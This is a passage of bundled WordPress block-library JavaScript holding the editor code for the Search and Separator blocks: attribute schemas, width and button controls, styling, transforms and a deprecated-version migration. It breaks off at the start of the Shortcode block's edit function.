46641const search_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/search","title":"Search","category":"widgets","description":"Help visitors find your content.","keywords":["find"],"textdomain":"default","attributes":{"label":{"type":"string","role":"content"},"showLabel":{"type":"boolean","default":true},"placeholder":{"type":"string","default":"","role":"content"},"width":{"type":"number"},"widthUnit":{"type":"string"},"buttonText":{"type":"string","role":"content"},"buttonPosition":{"type":"string","default":"button-outside"},"buttonUseIcon":{"type":"boolean","default":false},"query":{"type":"object","default":{}},"isSearchFieldHidden":{"type":"boolean","default":false}},"supports":{"align":["left","center","right"],"color":{"gradients":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"background":true,"text":true}},"interactivity":true,"typography":{"__experimentalSkipSerialization":true,"__experimentalSelector":".wp-block-search__label, .wp-block-search__input, .wp-block-search__button","fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"color":true,"radius":true,"width":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"color":true,"radius":true,"width":true}},"spacing":{"margin":true},"html":false},"editorStyle":"wp-block-search-editor","style":"wp-block-search"}');
46642;// ./node_modules/@wordpress/block-library/build-module/search/utils.js
46643const PC_WIDTH_DEFAULT = 50;
46644const PX_WIDTH_DEFAULT = 350;
46645const MIN_WIDTH = 220;
46646function utils_isPercentageUnit(unit) {
46647 return unit === "%";
46648}
46649
46650
46651;// ./node_modules/@wordpress/block-library/build-module/search/edit.js
46652
46653
46654
46655
46656
46657
46658
46659
46660
46661
46662
46663
46664const DEFAULT_INNER_PADDING = "4px";
46665const PERCENTAGE_WIDTHS = [25, 50, 75, 100];
46666function SearchEdit({
46667 className,
46668 attributes,
46669 setAttributes,
46670 toggleSelection,
46671 isSelected,
46672 clientId
46673}) {
46674 const {
46675 label,
46676 showLabel,
46677 placeholder,
46678 width,
46679 widthUnit,
46680 align,
46681 buttonText,
46682 buttonPosition,
46683 buttonUseIcon,
46684 isSearchFieldHidden,
46685 style
46686 } = attributes;
46687 const wasJustInsertedIntoNavigationBlock = (0,external_wp_data_namespaceObject.useSelect)(
46688 (select) => {
46689 const { getBlockParentsByBlockName, wasBlockJustInserted } = select(external_wp_blockEditor_namespaceObject.store);
46690 return !!getBlockParentsByBlockName(clientId, "core/navigation")?.length && wasBlockJustInserted(clientId);
46691 },
46692 [clientId]
46693 );
46694 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
46695 (0,external_wp_element_namespaceObject.useEffect)(() => {
46696 if (wasJustInsertedIntoNavigationBlock) {
46697 __unstableMarkNextChangeAsNotPersistent();
46698 setAttributes({
46699 showLabel: false,
46700 buttonUseIcon: true,
46701 buttonPosition: "button-inside"
46702 });
46703 }
46704 }, [
46705 __unstableMarkNextChangeAsNotPersistent,
46706 wasJustInsertedIntoNavigationBlock,
46707 setAttributes
46708 ]);
46709 const borderRadius = style?.border?.radius;
46710 let borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
46711 if (typeof borderRadius === "number") {
46712 borderProps = {
46713 ...borderProps,
46714 style: {
46715 ...borderProps.style,
46716 borderRadius: `${borderRadius}px`
46717 }
46718 };
46719 }
46720 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseColorProps)(attributes);
46721 const [fluidTypographySettings, layout] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
46722 "typography.fluid",
46723 "layout"
46724 );
46725 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes, {
46726 typography: {
46727 fluid: fluidTypographySettings
46728 },
46729 layout: {
46730 wideSize: layout?.wideSize
46731 }
46732 });
46733 const unitControlInstanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(external_wp_components_namespaceObject.__experimentalUnitControl);
46734 const unitControlInputId = `wp-block-search__width-${unitControlInstanceId}`;
46735 const isButtonPositionInside = "button-inside" === buttonPosition;
46736 const isButtonPositionOutside = "button-outside" === buttonPosition;
46737 const hasNoButton = "no-button" === buttonPosition;
46738 const hasOnlyButton = "button-only" === buttonPosition;
46739 const searchFieldRef = (0,external_wp_element_namespaceObject.useRef)();
46740 const buttonRef = (0,external_wp_element_namespaceObject.useRef)();
46741 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
46742 availableUnits: ["%", "px"],
46743 defaultValues: { "%": PC_WIDTH_DEFAULT, px: PX_WIDTH_DEFAULT }
46744 });
46745 (0,external_wp_element_namespaceObject.useEffect)(() => {
46746 if (hasOnlyButton && !isSelected) {
46747 setAttributes({
46748 isSearchFieldHidden: true
46749 });
46750 }
46751 }, [hasOnlyButton, isSelected, setAttributes]);
46752 (0,external_wp_element_namespaceObject.useEffect)(() => {
46753 if (!hasOnlyButton || !isSelected) {
46754 return;
46755 }
46756 setAttributes({
46757 isSearchFieldHidden: false
46758 });
46759 }, [hasOnlyButton, isSelected, setAttributes, width]);
46760 const getBlockClassNames = () => {
46761 return dist_clsx(
46762 className,
46763 isButtonPositionInside ? "wp-block-search__button-inside" : void 0,
46764 isButtonPositionOutside ? "wp-block-search__button-outside" : void 0,
46765 hasNoButton ? "wp-block-search__no-button" : void 0,
46766 hasOnlyButton ? "wp-block-search__button-only" : void 0,
46767 !buttonUseIcon && !hasNoButton ? "wp-block-search__text-button" : void 0,
46768 buttonUseIcon && !hasNoButton ? "wp-block-search__icon-button" : void 0,
46769 hasOnlyButton && isSearchFieldHidden ? "wp-block-search__searchfield-hidden" : void 0
46770 );
46771 };
46772 const buttonPositionControls = [
46773 {
46774 label: (0,external_wp_i18n_namespaceObject.__)("Button outside"),
46775 value: "button-outside"
46776 },
46777 {
46778 label: (0,external_wp_i18n_namespaceObject.__)("Button inside"),
46779 value: "button-inside"
46780 },
46781 {
46782 label: (0,external_wp_i18n_namespaceObject.__)("No button"),
46783 value: "no-button"
46784 },
46785 {
46786 label: (0,external_wp_i18n_namespaceObject.__)("Button only"),
46787 value: "button-only"
46788 }
46789 ];
46790 const getResizableSides = () => {
46791 if (hasOnlyButton) {
46792 return {};
46793 }
46794 return {
46795 right: align !== "right",
46796 left: align === "right"
46797 };
46798 };
46799 const renderTextField = () => {
46800 const textFieldClasses = dist_clsx(
46801 "wp-block-search__input",
46802 isButtonPositionInside ? void 0 : borderProps.className,
46803 typographyProps.className
46804 );
46805 const textFieldStyles = {
46806 ...isButtonPositionInside ? {
46807 borderRadius: borderProps.style?.borderRadius,
46808 borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
46809 borderTopRightRadius: borderProps.style?.borderTopRightRadius,
46810 borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
46811 borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
46812 } : borderProps.style,
46813 ...typographyProps.style,
46814 textDecoration: void 0
46815 };
46816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46817 "input",
46818 {
46819 type: "search",
46820 className: textFieldClasses,
46821 style: textFieldStyles,
46822 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Optional placeholder text"),
46823 placeholder: placeholder ? void 0 : (0,external_wp_i18n_namespaceObject.__)("Optional placeholder\u2026"),
46824 value: placeholder,
46825 onChange: (event) => setAttributes({ placeholder: event.target.value }),
46826 ref: searchFieldRef
46827 }
46828 );
46829 };
46830 const renderButton = () => {
46831 const buttonClasses = dist_clsx(
46832 "wp-block-search__button",
46833 colorProps.className,
46834 typographyProps.className,
46835 isButtonPositionInside ? void 0 : borderProps.className,
46836 buttonUseIcon ? "has-icon" : void 0,
46837 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
46838 );
46839 const buttonStyles = {
46840 ...colorProps.style,
46841 ...typographyProps.style,
46842 ...isButtonPositionInside ? {
46843 borderRadius: borderProps.style?.borderRadius,
46844 borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
46845 borderTopRightRadius: borderProps.style?.borderTopRightRadius,
46846 borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
46847 borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
46848 } : borderProps.style
46849 };
46850 const handleButtonClick = () => {
46851 if (hasOnlyButton) {
46852 setAttributes({
46853 isSearchFieldHidden: !isSearchFieldHidden
46854 });
46855 }
46856 };
46857 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46858 buttonUseIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46859 "button",
46860 {
46861 type: "button",
46862 className: buttonClasses,
46863 style: buttonStyles,
46864 "aria-label": buttonText ? (0,external_wp_dom_namespaceObject.__unstableStripHTML)(buttonText) : (0,external_wp_i18n_namespaceObject.__)("Search"),
46865 onClick: handleButtonClick,
46866 ref: buttonRef,
46867 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: search_default })
46868 }
46869 ),
46870 !buttonUseIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46871 external_wp_blockEditor_namespaceObject.RichText,
46872 {
46873 identifier: "buttonText",
46874 className: buttonClasses,
46875 style: buttonStyles,
46876 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Button text"),
46877 placeholder: (0,external_wp_i18n_namespaceObject.__)("Add button text\u2026"),
46878 withoutInteractiveFormatting: true,
46879 value: buttonText,
46880 onChange: (html) => setAttributes({ buttonText: html }),
46881 onClick: handleButtonClick
46882 }
46883 )
46884 ] });
46885 };
46886 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
46887 const controls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
46888 external_wp_components_namespaceObject.__experimentalToolsPanel,
46889 {
46890 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
46891 resetAll: () => {
46892 setAttributes({
46893 width: void 0,
46894 widthUnit: void 0,
46895 showLabel: true,
46896 buttonUseIcon: false,
46897 buttonPosition: "button-outside",
46898 isSearchFieldHidden: false
46899 });
46900 },
46901 dropdownMenuProps,
46902 children: [
46903 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46904 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46905 {
46906 hasValue: () => !showLabel,
46907 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
46908 onDeselect: () => {
46909 setAttributes({
46910 showLabel: true
46911 });
46912 },
46913 isShownByDefault: true,
46914 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46915 external_wp_components_namespaceObject.ToggleControl,
46916 {
46917 __nextHasNoMarginBottom: true,
46918 checked: showLabel,
46919 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
46920 onChange: (value) => setAttributes({
46921 showLabel: value
46922 })
46923 }
46924 )
46925 }
46926 ),
46927 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46928 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46929 {
46930 hasValue: () => buttonPosition !== "button-outside",
46931 label: (0,external_wp_i18n_namespaceObject.__)("Button position"),
46932 onDeselect: () => {
46933 setAttributes({
46934 buttonPosition: "button-outside",
46935 isSearchFieldHidden: false
46936 });
46937 },
46938 isShownByDefault: true,
46939 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46940 external_wp_components_namespaceObject.SelectControl,
46941 {
46942 value: buttonPosition,
46943 __next40pxDefaultSize: true,
46944 __nextHasNoMarginBottom: true,
46945 label: (0,external_wp_i18n_namespaceObject.__)("Button position"),
46946 onChange: (value) => {
46947 setAttributes({
46948 buttonPosition: value,
46949 isSearchFieldHidden: value === "button-only"
46950 });
46951 },
46952 options: buttonPositionControls
46953 }
46954 )
46955 }
46956 ),
46957 buttonPosition !== "no-button" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46958 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46959 {
46960 hasValue: () => !!buttonUseIcon,
46961 label: (0,external_wp_i18n_namespaceObject.__)("Use button with icon"),
46962 onDeselect: () => {
46963 setAttributes({
46964 buttonUseIcon: false
46965 });
46966 },
46967 isShownByDefault: true,
46968 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46969 external_wp_components_namespaceObject.ToggleControl,
46970 {
46971 __nextHasNoMarginBottom: true,
46972 checked: buttonUseIcon,
46973 label: (0,external_wp_i18n_namespaceObject.__)("Use button with icon"),
46974 onChange: (value) => setAttributes({
46975 buttonUseIcon: value
46976 })
46977 }
46978 )
46979 }
46980 ),
46981 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46982 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
46983 {
46984 hasValue: () => !!width,
46985 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
46986 onDeselect: () => {
46987 setAttributes({
46988 width: void 0,
46989 widthUnit: void 0
46990 });
46991 },
46992 isShownByDefault: true,
46993 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
46994 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46995 external_wp_components_namespaceObject.__experimentalUnitControl,
46996 {
46997 __next40pxDefaultSize: true,
46998 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
46999 id: unitControlInputId,
47000 min: utils_isPercentageUnit(widthUnit) ? 0 : MIN_WIDTH,
47001 max: utils_isPercentageUnit(widthUnit) ? 100 : void 0,
47002 step: 1,
47003 onChange: (newWidth) => {
47004 const parsedNewWidth = newWidth === "" ? void 0 : parseInt(newWidth, 10);
47005 setAttributes({
47006 width: parsedNewWidth
47007 });
47008 },
47009 onUnitChange: (newUnit) => {
47010 setAttributes({
47011 width: "%" === newUnit ? PC_WIDTH_DEFAULT : PX_WIDTH_DEFAULT,
47012 widthUnit: newUnit
47013 });
47014 },
47015 __unstableInputWidth: "80px",
47016 value: `${width}${widthUnit}`,
47017 units
47018 }
47019 ),
47020 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47021 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
47022 {
47023 label: (0,external_wp_i18n_namespaceObject.__)("Percentage Width"),
47024 value: PERCENTAGE_WIDTHS.includes(width) && widthUnit === "%" ? width : void 0,
47025 hideLabelFromVision: true,
47026 onChange: (newWidth) => {
47027 setAttributes({
47028 width: newWidth,
47029 widthUnit: "%"
47030 });
47031 },
47032 isBlock: true,
47033 __next40pxDefaultSize: true,
47034 __nextHasNoMarginBottom: true,
47035 children: PERCENTAGE_WIDTHS.map((widthValue) => {
47036 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47037 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
47038 {
47039 value: widthValue,
47040 label: (0,external_wp_i18n_namespaceObject.sprintf)(
47041 /* translators: %d: Percentage value. */
47042 (0,external_wp_i18n_namespaceObject.__)("%d%%"),
47043 widthValue
47044 )
47045 },
47046 widthValue
47047 );
47048 })
47049 }
47050 )
47051 ] })
47052 }
47053 )
47054 ]
47055 }
47056 ) }) });
47057 const isNonZeroBorderRadius = (radius) => radius !== void 0 && parseInt(radius, 10) !== 0;
47058 const padBorderRadius = (radius) => isNonZeroBorderRadius(radius) ? `calc(${radius} + ${DEFAULT_INNER_PADDING})` : void 0;
47059 const getWrapperStyles = () => {
47060 const styles = isButtonPositionInside ? borderProps.style : {
47061 borderRadius: borderProps.style?.borderRadius,
47062 borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
47063 borderTopRightRadius: borderProps.style?.borderTopRightRadius,
47064 borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
47065 borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
47066 };
47067 if (isButtonPositionInside) {
47068 if (typeof borderRadius === "object") {
47069 const {
47070 borderTopLeftRadius,
47071 borderTopRightRadius,
47072 borderBottomLeftRadius,
47073 borderBottomRightRadius
47074 } = borderProps.style;
47075 return {
47076 ...styles,
47077 borderTopLeftRadius: padBorderRadius(borderTopLeftRadius),
47078 borderTopRightRadius: padBorderRadius(borderTopRightRadius),
47079 borderBottomLeftRadius: padBorderRadius(
47080 borderBottomLeftRadius
47081 ),
47082 borderBottomRightRadius: padBorderRadius(
47083 borderBottomRightRadius
47084 )
47085 };
47086 }
47087 const radius = Number.isInteger(borderRadius) ? `${borderRadius}px` : borderRadius;
47088 styles.borderRadius = `calc(${radius} + ${DEFAULT_INNER_PADDING})`;
47089 }
47090 return styles;
47091 };
47092 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
47093 className: getBlockClassNames(),
47094 style: {
47095 ...typographyProps.style,
47096 // Input opts out of text decoration.
47097 textDecoration: void 0
47098 }
47099 });
47100 const labelClassnames = dist_clsx(
47101 "wp-block-search__label",
47102 typographyProps.className
47103 );
47104 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
47105 controls,
47106 showLabel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47107 external_wp_blockEditor_namespaceObject.RichText,
47108 {
47109 identifier: "label",
47110 className: labelClassnames,
47111 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Label text"),
47112 placeholder: (0,external_wp_i18n_namespaceObject.__)("Add label\u2026"),
47113 withoutInteractiveFormatting: true,
47114 value: label,
47115 onChange: (html) => setAttributes({ label: html }),
47116 style: typographyProps.style
47117 }
47118 ),
47119 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47120 external_wp_components_namespaceObject.ResizableBox,
47121 {
47122 size: {
47123 width: width === void 0 ? "auto" : `${width}${widthUnit}`,
47124 height: "auto"
47125 },
47126 className: dist_clsx(
47127 "wp-block-search__inside-wrapper",
47128 isButtonPositionInside ? borderProps.className : void 0
47129 ),
47130 style: getWrapperStyles(),
47131 minWidth: MIN_WIDTH,
47132 enable: getResizableSides(),
47133 onResizeStart: (event, direction, elt) => {
47134 setAttributes({
47135 width: parseInt(elt.offsetWidth, 10),
47136 widthUnit: "px"
47137 });
47138 toggleSelection(false);
47139 },
47140 onResizeStop: (event, direction, elt, delta) => {
47141 setAttributes({
47142 width: parseInt(width + delta.width, 10)
47143 });
47144 toggleSelection(true);
47145 },
47146 showHandle: isSelected,
47147 children: [
47148 (isButtonPositionInside || isButtonPositionOutside || hasOnlyButton) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47149 renderTextField(),
47150 renderButton()
47151 ] }),
47152 hasNoButton && renderTextField()
47153 ]
47154 }
47155 )
47156 ] });
47157}
47158
47159
47160;// ./node_modules/@wordpress/block-library/build-module/search/variations.js
47161
47162const search_variations_variations = [
47163 {
47164 name: "default",
47165 isDefault: true,
47166 attributes: { buttonText: (0,external_wp_i18n_namespaceObject.__)("Search"), label: (0,external_wp_i18n_namespaceObject.__)("Search") }
47167 }
47168];
47169var search_variations_variations_default = search_variations_variations;
47170
47171
47172;// ./node_modules/@wordpress/block-library/build-module/search/index.js
47173
47174
47175
47176
47177
47178
47179const { name: search_name } = search_block_namespaceObject;
47180const search_settings = {
47181 icon: search_default,
47182 example: {
47183 attributes: { buttonText: (0,external_wp_i18n_namespaceObject.__)("Search"), label: (0,external_wp_i18n_namespaceObject.__)("Search") },
47184 viewportWidth: 400
47185 },
47186 variations: search_variations_variations_default,
47187 edit: SearchEdit
47188};
47189const search_init = () => initBlock({ name: search_name, metadata: search_block_namespaceObject, settings: search_settings });
47190
47191
47192;// ./node_modules/@wordpress/icons/build-module/library/separator.js
47193
47194
47195var separator_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.5 12.5v4H3V7h1.5v3.987h15V7H21v9.5h-1.5v-4h-15Z" }) });
47196
47197
47198;// ./node_modules/@wordpress/block-library/build-module/separator/use-deprecated-opacity.js
47199
47200
47201function useDeprecatedOpacity(opacity, currentColor, setAttributes) {
47202 const [deprecatedOpacityWithNoColor, setDeprecatedOpacityWithNoColor] = (0,external_wp_element_namespaceObject.useState)(false);
47203 const previousColor = (0,external_wp_compose_namespaceObject.usePrevious)(currentColor);
47204 (0,external_wp_element_namespaceObject.useEffect)(() => {
47205 if (opacity === "css" && !currentColor && !previousColor) {
47206 setDeprecatedOpacityWithNoColor(true);
47207 }
47208 }, [currentColor, previousColor, opacity]);
47209 (0,external_wp_element_namespaceObject.useEffect)(() => {
47210 if (opacity === "css" && (deprecatedOpacityWithNoColor && currentColor || previousColor && currentColor !== previousColor)) {
47211 setAttributes({ opacity: "alpha-channel" });
47212 setDeprecatedOpacityWithNoColor(false);
47213 }
47214 }, [deprecatedOpacityWithNoColor, currentColor, previousColor]);
47215}
47216
47217
47218;// ./node_modules/@wordpress/block-library/build-module/separator/edit.js
47219
47220
47221
47222
47223
47224
47225const HtmlElementControl = ({ tagName, setAttributes }) => {
47226 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47227 external_wp_components_namespaceObject.SelectControl,
47228 {
47229 label: (0,external_wp_i18n_namespaceObject.__)("HTML element"),
47230 value: tagName,
47231 onChange: (newValue) => setAttributes({ tagName: newValue }),
47232 options: [
47233 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<hr>)"), value: "hr" },
47234 { label: "<div>", value: "div" }
47235 ],
47236 help: tagName === "hr" ? (0,external_wp_i18n_namespaceObject.__)(
47237 "Only select <hr> if the separator conveys important information and should be announced by screen readers."
47238 ) : (0,external_wp_i18n_namespaceObject.__)(
47239 "The <div> element should only be used if the block is a design element with no semantic meaning."
47240 ),
47241 __next40pxDefaultSize: true,
47242 __nextHasNoMarginBottom: true
47243 }
47244 );
47245};
47246function SeparatorEdit({ attributes, setAttributes }) {
47247 const { backgroundColor, opacity, style, tagName } = attributes;
47248 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseColorProps)(attributes);
47249 const currentColor = colorProps?.style?.backgroundColor;
47250 const hasCustomColor = !!style?.color?.background;
47251 useDeprecatedOpacity(opacity, currentColor, setAttributes);
47252 const colorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", backgroundColor);
47253 const className = dist_clsx(
47254 {
47255 "has-text-color": backgroundColor || currentColor,
47256 [colorClass]: colorClass,
47257 "has-css-opacity": opacity === "css",
47258 "has-alpha-channel-opacity": opacity === "alpha-channel"
47259 },
47260 colorProps.className
47261 );
47262 const styles = {
47263 color: currentColor,
47264 backgroundColor: currentColor
47265 };
47266 const Wrapper = tagName === "hr" ? external_wp_components_namespaceObject.HorizontalRule : tagName;
47267 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47268 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47269 HtmlElementControl,
47270 {
47271 tagName,
47272 setAttributes
47273 }
47274 ) }),
47275 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47276 Wrapper,
47277 {
47278 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({
47279 className,
47280 style: hasCustomColor ? styles : void 0
47281 })
47282 }
47283 )
47284 ] });
47285}
47286
47287
47288;// ./node_modules/@wordpress/block-library/build-module/separator/block.json
47289const separator_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/separator","title":"Separator","category":"design","description":"Create a break between ideas or sections with a horizontal separator.","keywords":["horizontal-line","hr","divider"],"textdomain":"default","attributes":{"opacity":{"type":"string","default":"alpha-channel"},"tagName":{"type":"string","enum":["hr","div"],"default":"hr"}},"supports":{"anchor":true,"align":["center","wide","full"],"color":{"enableContrastChecker":false,"__experimentalSkipSerialization":true,"gradients":true,"background":true,"text":false,"__experimentalDefaultControls":{"background":true}},"spacing":{"margin":["top","bottom"]},"interactivity":{"clientNavigation":true}},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"wide","label":"Wide Line"},{"name":"dots","label":"Dots"}],"editorStyle":"wp-block-separator-editor","style":"wp-block-separator"}');
47290;// ./node_modules/@wordpress/block-library/build-module/separator/save.js
47291
47292
47293
47294function separatorSave({ attributes }) {
47295 const { backgroundColor, style, opacity, tagName: Tag } = attributes;
47296 const customColor = style?.color?.background;
47297 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
47298 const colorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", backgroundColor);
47299 const className = dist_clsx(
47300 {
47301 "has-text-color": backgroundColor || customColor,
47302 [colorClass]: colorClass,
47303 "has-css-opacity": opacity === "css",
47304 "has-alpha-channel-opacity": opacity === "alpha-channel"
47305 },
47306 colorProps.className
47307 );
47308 const styles = {
47309 backgroundColor: colorProps?.style?.backgroundColor,
47310 color: colorClass ? void 0 : customColor
47311 };
47312 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style: styles }) });
47313}
47314
47315
47316;// ./node_modules/@wordpress/block-library/build-module/separator/transforms.js
47317
47318const separator_transforms_transforms = {
47319 from: [
47320 {
47321 type: "enter",
47322 regExp: /^-{3,}$/,
47323 transform: () => (0,external_wp_blocks_namespaceObject.createBlock)("core/separator")
47324 },
47325 {
47326 type: "raw",
47327 selector: "hr",
47328 schema: {
47329 hr: {}
47330 }
47331 }
47332 ],
47333 to: [
47334 {
47335 type: "block",
47336 blocks: ["core/spacer"],
47337 // Transform to Spacer.
47338 transform: ({ anchor }) => {
47339 return (0,external_wp_blocks_namespaceObject.createBlock)("core/spacer", {
47340 anchor: anchor || ""
47341 });
47342 }
47343 }
47344 ]
47345};
47346var separator_transforms_transforms_default = separator_transforms_transforms;
47347
47348
47349;// ./node_modules/@wordpress/block-library/build-module/separator/deprecated.js
47350
47351
47352
47353const separator_deprecated_v1 = {
47354 attributes: {
47355 color: {
47356 type: "string"
47357 },
47358 customColor: {
47359 type: "string"
47360 }
47361 },
47362 save({ attributes }) {
47363 const { color, customColor } = attributes;
47364 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", color);
47365 const colorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", color);
47366 const className = dist_clsx({
47367 "has-text-color has-background": color || customColor,
47368 [backgroundClass]: backgroundClass,
47369 [colorClass]: colorClass
47370 });
47371 const style = {
47372 backgroundColor: backgroundClass ? void 0 : customColor,
47373 color: colorClass ? void 0 : customColor
47374 };
47375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }) });
47376 },
47377 migrate(attributes) {
47378 const { color, customColor, ...restAttributes } = attributes;
47379 return {
47380 ...restAttributes,
47381 backgroundColor: color ? color : void 0,
47382 opacity: "css",
47383 style: customColor ? { color: { background: customColor } } : void 0,
47384 tagName: "hr"
47385 };
47386 }
47387};
47388var separator_deprecated_deprecated_default = [separator_deprecated_v1];
47389
47390
47391;// ./node_modules/@wordpress/block-library/build-module/separator/index.js
47392
47393
47394
47395
47396
47397
47398
47399const { name: separator_name } = separator_block_namespaceObject;
47400const separator_settings = {
47401 icon: separator_default,
47402 example: {
47403 attributes: {
47404 customColor: "#065174",
47405 className: "is-style-wide"
47406 }
47407 },
47408 transforms: separator_transforms_transforms_default,
47409 edit: SeparatorEdit,
47410 save: separatorSave,
47411 deprecated: separator_deprecated_deprecated_default
47412};
47413const separator_init = () => initBlock({ name: separator_name, metadata: separator_block_namespaceObject, settings: separator_settings });
47414
47415
47416;// ./node_modules/@wordpress/icons/build-module/library/shortcode.js
47417
47418
47419var shortcode_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z" }) });
47420
47421
47422;// ./node_modules/@wordpress/block-library/build-module/shortcode/edit.js
47423
47424
47425
47426
47427
47428
47429function ShortcodeEdit({ attributes, setAttributes }) {
